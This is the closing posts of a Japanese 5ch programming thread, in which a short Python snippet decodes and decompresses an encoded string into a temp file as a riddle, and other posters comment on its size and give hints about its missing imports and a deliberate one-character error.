a='eJyLMPVXDFB1cAyINokJiIowNdEIiNM0d3bWNK9VcfV0dgzSDQ5x9HNxDHLRdfQL8QzzDAoN1g1xDQ7RdfP0cVVU8dD20AIAdFQSDw=='
open('/tmp/txt', 'w').write(zlib.decompress(base64.b64decode(a)))
0993デフォルトの名無しさん
垢版 |
2019/07/21(日) 13:25:44.57ID:pX/j+UhJ
圧縮した方がデカくなってしまったな
0996デフォルトの名無しさん
垢版 |
2019/07/21(日) 14:15:12.38ID:utEuQb4D
>>991
ヒント
・これだけでは不完全なので動かない
    足りないimportはいくつでしょーか
・たぶん1か所だけぼみょうにまちがっつる
    半角1文字足りない
10011001
垢版 |
Over 1000Thread
このスレッドは1000を超えました。
新しいスレッドを立ててください。
life time: 82日 6時間 11分 48秒
10021002
垢版 |
Over 1000Thread
5ちゃんねるの運営はプレミアム会員の皆さまに支えられています。
運営にご協力お願いいたします。


───────────────────
《プレミアム会員の主な特典》
★ 5ちゃんねる専用ブラウザからの広告除去
★ 5ちゃんねるの過去ログを取得
★ 書き込み規制の緩和
───────────────────

会員登録には個人情報は一切必要ありません。
月300円から匿名でご購入いただけます。

▼ プレミアム会員登録はこちら ▼
https://premium.5ch.net/

▼ 浪人ログインはこちら ▼
https://login.5ch.net/login.php
レス数が1000を超えています。これ以上書き込みはできません。

ニューススポーツなんでも実況